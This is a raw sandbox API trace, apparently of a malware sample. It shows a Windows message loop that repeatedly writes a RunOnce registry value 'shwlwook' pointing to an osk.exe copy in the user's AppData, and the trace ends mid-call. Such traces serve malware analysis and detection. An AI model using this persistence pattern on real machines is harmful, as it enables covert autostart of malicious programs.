Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.973] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.984] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.984] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.985] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.985] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.985] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.985] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.985] RegCloseKey (hKey=0x644) returned 0x0 [0280.986] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.988] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.001] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.001] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.001] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.001] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.002] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.002] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.002] RegCloseKey (hKey=0x644) returned 0x0 [0281.002] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.002] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.016] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.016] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.017] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.017] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.017] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.018] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.018] RegCloseKey (hKey=0x644) returned 0x0 [0281.018] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.018] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.032] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.032] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.032] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.033] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.033] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.033] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.033] RegCloseKey (hKey=0x644) returned 0x0 [0281.033] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.034] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.047] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.047] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.048] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.048] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.048] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.048] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.049] RegCloseKey (hKey=0x644) returned 0x0 [0281.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.049] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.063] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.063] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.063] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.064] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.064] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.064] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.064] RegCloseKey (hKey=0x644) returned 0x0 [0281.065] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.065] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.094] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.094] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.094] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.095] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.095] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.095] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.095] RegCloseKey (hKey=0x644) returned 0x0 [0281.095] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.096] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.109] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.109] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.110] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.110] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.110] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.111] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.111] RegCloseKey (hKey=0x644) returned 0x0 [0281.111] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.111] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.125] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.125] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.126] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.126] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.126] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.127] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.127] RegCloseKey (hKey=0x644) returned 0x0 [0281.127] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.127] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.141] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.141] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.141] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.142] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.142] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.142] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.142] RegCloseKey (hKey=0x644) returned 0x0 [0281.142] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.143] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.156] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.156] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.157] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.157] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.158] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.158] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.158] RegCloseKey (hKey=0x644) returned 0x0 [0281.158] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.158] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.172] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.172] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.172] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.173] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.173] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.173] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.173] RegCloseKey (hKey=0x644) returned 0x0 [0281.174] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.174] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.188] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.188] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.190] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.190] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.191] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.191] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.191] RegCloseKey (hKey=0x644) returned 0x0 [0281.191] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.192] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.203] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.203] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.203] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.204] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.204] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.204] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.205] RegCloseKey (hKey=0x644) returned 0x0 [0281.205] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.205] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.219] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.219] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.219] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.220] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.220] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.220] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.220] RegCloseKey (hKey=0x644) returned 0x0 [0281.221] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.221] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.235] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.235] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.235] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.236] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.236] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.236] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.236] RegCloseKey (hKey=0x644) returned 0x0 [0281.236] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.237] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.266] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.266] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.266] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.267] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.267] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.267] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.267] RegCloseKey (hKey=0x644) returned 0x0 [0281.267] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.268] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.282] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.282] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.282] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.283] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.283] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.283] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.283] RegCloseKey (hKey=0x644) returned 0x0 [0281.283] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.284] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.298] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.298] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.298] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.299] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.299] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.299] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.299] RegCloseKey (hKey=0x644) returned 0x0 [0281.300] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.300] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.344] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.344] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.345] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.345] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.345] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.345] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.346] RegCloseKey (hKey=0x644) returned 0x0 [0281.346] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.346] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.360] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.360] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.360] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.361] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.361] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.361] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.361] RegCloseKey (hKey=0x644) returned 0x0 [0281.361] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.362] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.384] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.384] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.384] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.385] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.385] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.385] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", 